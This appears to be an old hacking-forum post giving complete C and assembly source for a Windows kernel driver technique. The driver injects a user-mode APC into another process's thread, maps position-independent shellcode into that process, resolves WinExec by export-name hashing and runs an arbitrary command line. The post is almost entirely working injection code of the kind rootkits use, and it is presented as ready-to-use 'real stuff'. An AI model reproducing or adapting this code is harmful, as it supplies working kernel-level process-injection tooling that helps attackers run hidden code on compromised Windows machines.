Showtime : *WORKING* CreateProcess in KernelMode! By: valerino I don't think this code needs any comment. Say welcome to usermode calls in kernel land..... with this technique you can even call MessageBox from inside your driver. No more ugly non-working phrack samples, this is the real stuff :)
1) The APC injector
//************************************************************************ // NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PKPROCESS pTargetProcess) // // Setup usermode APC to execute a process //************************************************************************/ NTSTATUS UtilInstallUserModeApcForCreateProcess(char* CommandLine, PKTHREAD pTargetThread, PEPROCESS pTargetProcess) { PRKAPC pApc = NULL; PMDL pMdl = NULL; PVOID MappedAddress = NULL;
ULONG size; KAPC_STATE ApcState; PKEVENT pEvent = NULL;
// check params if (!pTargetThread || !pTargetProcess) return STATUS_UNSUCCESSFUL;
// allocate memory for apc and event pApc = ExAllocatePool (NonPagedPool,sizeof (KAPC)); if (!pApc) return STATUS_INSUFFICIENT_RESOURCES;
pEvent = ExAllocatePool (NonPagedPool,sizeof (KEVENT)); if (!pEvent) { ExFreePool (pApc); return STATUS_INSUFFICIENT_RESOURCES; }
// allocate mdl big enough to map the code to be executed size = (unsigned char*)UtilUserApcCreateProcessEnd - (unsigned char*)UtilUserApcCreateProcess; pMdl = IoAllocateMdl (UtilUserApcCreateProcess, size, FALSE,FALSE,NULL); if (!pMdl) { ExFreePool (pEvent); ExFreePool (pApc); return STATUS_INSUFFICIENT_RESOURCES; }
// lock the pages in memory __try { MmProbeAndLockPages (pMdl,KernelMode,IoWriteAccess); } __except (EXCEPTION_EXECUTE_HANDLER) { IoFreeMdl (pMdl); ExFreePool (pEvent); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; }
// map the pages into the specified process KeStackAttachProcess (pTargetProcess,&ApcState); MappedAddress = MmMapLockedPagesSpecifyCache (pMdl,UserMode,MmCached,NULL,FALSE,NormalPagePriority);
if (!MappedAddress) { // cannot map address KeUnstackDetachProcess (&ApcState); IoFreeMdl (pMdl); ExFreePool (pEvent); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; }
// copy commandline memset ((unsigned char*)MappedAddress + 160, 0, 260); memcpy ((unsigned char*)MappedAddress + 160, CommandLine,strlen (CommandLine));
KeUnstackDetachProcess (&ApcState);
// initialize apc KeInitializeEvent(pEvent,NotificationEvent,FALSE); KeInitializeApc(pApc,pTargetThread, OriginalApcEnvironment,&UtilUserApcCreateProcessKernelRoutine, NULL, MappedAddress, UserMode, (PVOID) NULL);
// schedule apc if (!KeInsertQueueApc(pApc,pEvent,NULL,0)) { // failed apc delivery MmUnlockPages(pMdl); IoFreeMdl (pMdl); ExFreePool (pEvent); ExFreePool (pApc); return STATUS_UNSUCCESSFUL; } // and fire it by manually alerting the thread (for reference, this set the KTHREAD.ApcState.KernelApcInProgress) // beware, this could be not compatible with everything ..... it works on 2k/XP anyway, tested on SP2 too..... *((unsigned char *)pTargetThread+0x4a)=1;
// apc is fired, wait event to signal completion KeWaitForSingleObject (pEvent,Executive,KernelMode,FALSE,NULL);
// free event ExFreePool (pEvent);
// unmap and unlock pages / mdl . Note that there's no need to call MmUnmapLockedPages on paged locked with MmProbeAndLockPages, // since MmUnlockPages does this for us automatically. MmUnlockPages(pMdl); IoFreeMdl (pMdl);
return STATUS_SUCCESS; }
2) This routine just frees the APC allocated memory as soon as it's fired
//************************************************************************ // VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, // IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) // // This routine just frees the APC //************************************************************************/ VOID UtilUserApcCreateProcessKernelRoutine( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) { PKEVENT pEvent;
KDebugPrint (1,("%s APC KernelRoutine called, freeing APC./n", MODULE));
// free apc ExFreePool(Apc);
// set event to signal apc execution pEvent = (PKEVENT)*SystemArgument1; KeSetEvent (pEvent,IO_NO_INCREMENT,FALSE); }
3) This is the usermode routine launched by the APC. It gets Kernel32 base and find imports by a hash, then calls winexec (simpler than call createprocess, but anyway this is just an example....). Use this NASM macro to calculate the needed hashes for whatever usermode functions you may need to call : ; ; HASH - NASM macro for calculating win32 symbol hashes ; Usage: HASH instruction, 'SymbolName' ; %macro HASH 2 %assign i 1 ; i = 1 %assign h 0 ; h = 0 %strlen len %2 ; len = strlen(%2) %rep len %substr char %2 i ; fetch next character %assign h / (h<<0x13) + / (h>>0x0d) + / char ; rotate and add %assign i i+1 ; increment i %endrep %1 h ; return instruction with hash %endmacro
I can't remember where i got this shellcode, it was lying already modified on my hd for long time. Anyway it's not mine.... i just rearranged it to my needs. Whoever recognizes it as his code, email me at valeryno@hotmail.com and i'll put the proper credits :)
//************************************************************************ // void UtilUserApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2) // // This is where we call createprocess. We're in usermode here :) //************************************************************************/ __declspec(naked) void UtilUserApcCreateProcess(PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2) { __asm { push ebp mov ebp,esp push ebx push esi push edi jmp __startup; ; these are just functions.... skip
__find_kernel32: push esi ; Save esi push 0x30 pop ecx mov eax, fs:[ecx] ; Extract the PEB mov eax, [eax + 0x0c] ; Extract the PROCESS_MODULE_INFO pointer from the PEB mov esi, [eax + 0x1c] ; Get the address of flink in the init module list lodsd ; Load the address of blink into eax mov eax, [eax + 0x8] ; Grab the module base address from the list entry pop esi ; Restore esi ret ; Return
__find_function: pushad ; Save all registers mov ebp, [esp + 0x24] ; Store the base address in eax mov eax, [ebp + 0x3c] ; PE header VMA mov edx, [ebp + eax + 0x78] ; Export table relative offset add edx, ebp ; Export table VMA mov ecx, [edx + 0x18] ; Number of names mov ebx, [edx + 0x20] ; Names table relative offset add ebx, ebp ; Names table VMA
__find_function_loop: jecxz __find_function_finished ; Jump to the end if ecx is 0 dec ecx ; Decrement our names counter mov esi, [ebx + ecx * 4] ; Store the relative offset of the name add esi, ebp ; Set esi to the VMA of the current name
xor edi, edi ; Zero edi xor eax, eax ; Zero eax cld ; Clear direction
__compute_hash_again: lodsb ; Load the next byte from esi into al test al, al ; Test ourselves. jz __compute_hash_finished ; If the ZF is set, we've hit the null term. ror edi, 0xd ; Rotate edi 13 bits to the right add edi, eax ; Add the new byte to the accumulator jmp __compute_hash_again ; Next iteration
__compute_hash_finished: cmp edi, [esp + 0x28] ; Compare the computed hash with the requested hash jnz __find_function_loop ; No match, try the next one. mov ebx, [edx + 0x24] ; Ordinals table relative offset add ebx, ebp ; Ordinals table VMA mov cx, [ebx + 2 * ecx] ; Extrapolate the function's ordinal mov ebx, [edx + 0x1c] ; Address table relative offset add ebx, ebp ; Address table VMA mov eax, [ebx + 4 * ecx] ; Extract the relative function offset from its ordinal add eax, ebp ; Function VMA mov [esp + 0x1c], eax ; Overwrite stack version of eax from pushad
__find_function_finished: popad ; Restore all registers ret 8
__begin: nop pop edi ; Pop address mov ebx, __execute sub ebx, __command_line sub edi, ebx ; filename offset mov esi,edi ; filename to edi call __find_kernel32 ; Find kernel32 address mov ebx, eax ; Save address in ebx jmp short __execute ; Skip data
__startup: call __begin ; Fetch our data address
__execute: push 0x0e8afe98 ; WinExec hash push ebx ; kernel32 base address call __find_function ; find address
xor ecx,ecx inc ecx ; ecx = 1 push ecx ; uCmdShow push esi ; lpCmdLine. We already have the exe path in esi call eax ; call WinExec jmp __end
__command_line: ; Space (~300 bytes) for commandline nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop __end: pop edi ; restore registers pop esi pop ebx pop ebp ret 0x0c } }
//************************************************************************ // void UtilUserApcCreateProcessEnd() // // This is just a reference to calculate size of the above usermode apc routine //************************************************************************/ void UtilUserApcCreateProcessEnd() { }
The end. Cowabunga, Valerio
|